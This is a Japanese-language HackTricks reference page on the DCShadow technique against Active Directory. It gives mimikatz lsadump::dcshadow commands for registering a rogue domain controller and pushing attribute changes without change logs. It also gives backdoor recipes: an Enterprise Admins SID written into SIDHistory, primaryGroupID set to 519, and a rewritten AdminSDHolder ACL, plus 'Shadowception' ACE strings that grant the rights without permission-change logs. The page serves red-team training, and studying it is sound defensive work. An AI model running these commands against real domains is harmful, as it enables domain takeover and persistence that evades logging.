tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DCShadow

ADに新しいドメインコントローラーを登録し、指定されたオブジェクトに属性(SIDHistory、SPNsなど)をプッシュしますが、変更に関するログは残りません。DA権限が必要で、ルートドメイン内にいる必要があります。
間違ったデータを使用すると、かなりひどいログが表示されることに注意してください。

攻撃を実行するには、2つのmimikatzインスタンスが必要です。1つはSYSTEM権限でRPCサーバーを起動し(ここで実行したい変更を指定する必要があります)、もう1つのインスタンスは値をプッシュするために使用されます:

mimikatz1 (RPC servers)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - Needs DA or similar
lsadump::dcshadow /push

elevate::tokenmimikatz1 セッションでは機能しません。なぜなら、これはスレッドの特権を昇格させるだけで、私たちは プロセスの特権を昇格させる 必要があるからです。
また、"LDAP" オブジェクトを選択することもできます: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

DA からまたはこの最小限の権限を持つユーザーから変更をプッシュできます:

  • ドメインオブジェクト内で:
  • DS-Install-Replica (ドメイン内のレプリカの追加/削除)
  • DS-Replication-Manage-Topology (レプリケーショントポロジーの管理)
  • DS-Replication-Synchronize (レプリケーションの同期)
  • 構成コンテナ内の サイトオブジェクト (およびその子):
  • CreateChild and DeleteChild
  • DC として登録されている コンピュータのオブジェクト:
  • WriteProperty (Not Write)
  • ターゲットオブジェクト:
  • WriteProperty (Not Write)

Set-DCShadowPermissions を使用して、特権のないユーザーにこれらの権限を与えることができます (これはいくつかのログを残すことに注意してください)。これは DA 権限を持つよりもはるかに制限されています。
例えば: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose これは、ユーザー名 student1 がマシン mcorp-student1 にログインしているときに、オブジェクト root1user に対して DCShadow 権限を持つことを意味します。

DCShadow を使用してバックドアを作成する

Set Enterprise Admins in SIDHistory to a user
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
Chage PrimaryGroupID (put user as member of Domain Administrators)
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
Modify ntSecurityDescriptor of AdminSDHolder (give Full Control to a user)
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - DCShadowを使用してDCShadow権限を付与する(変更された権限ログなし)

次のACEをユーザーのSIDで末尾に追加する必要があります:

  • ドメインオブジェクト上:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • 攻撃者コンピュータオブジェクト上:(A;;WP;;;UserSID)
  • ターゲットユーザーオブジェクト上:(A;;WP;;;UserSID)
  • 設定コンテナ内のサイトオブジェクト上:(A;CI;CCDC;;;UserSID)

オブジェクトの現在のACEを取得するには:(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

この場合、いくつかの変更を行う必要があることに注意してください。したがって、mimikatz1セッション(RPCサーバー)で、行いたい各変更に対して**/stackパラメータを使用してください。この方法では、すべてのスタックされた変更をルージュサーバーで実行するために/push**を一度だけ実行する必要があります。

DCShadowに関する詳細情報はired.teamをご覧ください。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする